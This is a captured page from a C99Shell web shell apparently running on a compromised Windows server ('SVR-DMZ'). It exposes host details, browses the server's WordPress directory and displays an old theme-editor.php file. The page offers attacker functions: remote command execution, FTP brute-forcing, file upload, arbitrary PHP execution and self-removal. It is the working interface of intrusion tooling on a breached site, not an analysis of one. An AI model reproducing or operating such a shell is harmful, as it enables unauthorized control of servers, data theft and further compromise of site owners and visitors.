!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\jaime\wordpress\wp-admin\   drwxrwxrwx
Free 7.96 GB of 239.26 GB (3.33%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     theme-editor.php (4.17 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once('admin.php');

$title __("Edit Themes");
$parent_file 'themes.php';

$wpvarstoreset = array('action','redirect','profile','error','warning','a','file''theme');
for (
$i=0$i<count($wpvarstoreset); $i += 1) {
    
$wpvar $wpvarstoreset[$i];
    if (!isset($
$wpvar)) {
        if (empty(
$_POST["$wpvar"])) {
            if (empty(
$_GET["$wpvar"])) {
                $
$wpvar '';
            } else {
                $
$wpvar $_GET["$wpvar"];
            }
        } else {
            $
$wpvar $_POST["$wpvar"];
        }
    }
}

$themes get_themes();

if (empty(
$theme)) {
    
$theme get_current_theme();
} else {
    
$theme stripslashes($theme);
 }


if ( ! isset(
$themes[$theme]) )
    die(
__('The requested theme does not exist.'));

$allowed_files array_merge($themes[$theme]['Stylesheet Files'], $themes[$theme]['Template Files']);

if (empty(
$file)) {
    
$file $allowed_files[0];
}

$file validate_file_to_edit($file$allowed_files);
$real_file get_real_file_to_edit($file);

$file_show basename$file );

switch(
$action) {

case 
'update':

    if ( !
current_user_can('edit_themes') )
    die(
'<p>'.__('You have do not have sufficient permissions to edit templates for this blog.').'</p>');

    
$newcontent stripslashes($_POST['newcontent']);
    
$theme urlencode($theme);
    if (
is_writeable($real_file)) {
        
$f fopen($real_file'w+');
        
fwrite($f$newcontent);
        
fclose($f);
        
header("Location: theme-editor.php?file=$file&theme=$theme&a=te");
    } else {
        
header("Location: theme-editor.php?file=$file&theme=$theme");
    }

    exit();

break;

default:
    
    require_once(
'admin-header.php');
    if ( !
current_user_can('edit_themes') )
    die(
'<p>'.__('You have do not have sufficient permissions to edit themes for this blog.').'</p>');

    
update_recently_edited($file);
    
    if (!
is_file($real_file))
        
$error 1;
    
    if (!
$error && filesize($real_file) > 0) {
        
$f fopen($real_file'r');
        
$content fread($ffilesize($real_file));
        
$content htmlspecialchars($content);
    }

    
?>
<?php 
if (isset($_GET['a'])) : ?>
 <div id="message" class="updated fade"><p><?php _e('File edited successfully.'?></p></div>
<?php endif; ?>
 <div class="wrap">
  <form name="theme" action="theme-editor.php" method="post"> 
        <?php _e('Select theme to edit:'?>
        <select name="theme" id="theme">
    <?php
        
foreach ($themes as $a_theme) {
        
$theme_name $a_theme['Name'];
        if (
$theme_name == $theme$selected " selected='selected'";
        else 
$selected '';
        
$theme_name wp_specialchars($theme_nametrue);
        echo 
"\n\t<option value=\"$theme_name\" $selected>$theme_name</option>";
    }
?>
 </select>
 <input type="submit" name="Submit" value="<?php _e('Select'?> &raquo;" />
 </form>
 </div>

 <div class="wrap"> 
  <?php
    
if ( is_writeable($real_file) ) {
        echo 
'<h2>' sprintf(__('Editing <code>%s</code>'), $file_show) . '</h2>';
    } else {
        echo 
'<h2>' sprintf(__('Browsing <code>%s</code>'), $file_show) . '</h2>';
    }
    
?>
    <div id="templateside">
  <h3><?php printf(__("<strong>'%s'</strong> theme files"), $theme?></h3>

<?php
if ($allowed_files) :
?>
  <ul>
<?php foreach($allowed_files as $allowed_file) : ?>
         <li><a href="theme-editor.php?file=<?php echo "$allowed_file"?>&amp;theme=<?php echo urlencode($theme?>"><?php echo get_file_description($allowed_file); ?></a></li>
<?php endforeach; ?>
  </ul>
<?php endif; ?>
</div> 
    <?php
    
if (!$error) {
    
?> 
  <form name="template" id="template" action="theme-editor.php" method="post">
         <div><textarea cols="70" rows="25" name="newcontent" id="newcontent" tabindex="1"><?php echo $content ?></textarea> 
     <input type="hidden" name="action" value="update" /> 
     <input type="hidden" name="file" value="<?php echo $file ?>" /> 
     <input type="hidden" name="theme" value="<?php echo $theme ?>" />
         </div>
<?php if ( is_writeable($real_file) ) : ?>
     <p class="submit">
<?php
    
echo "<input type='submit' name='submit' value='    " __('Update File') . " &raquo;' tabindex='2' />";
?>
</p>
<?php else : ?>
<p><em><?php _e('If this file were writable you could edit it.'); ?></em></p>
<?php endif; ?>
   </form> 
  <?php
    
} else {
        echo 
'<div class="error"><p>' __('Oops, no such file exists! Double check the name and try again, merci.') . '</p></div>';
    }
    
?>
<div class="clear"> &nbsp; </div>
</div> 
<?php
break;
}

include(
"admin-footer.php"?> 

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--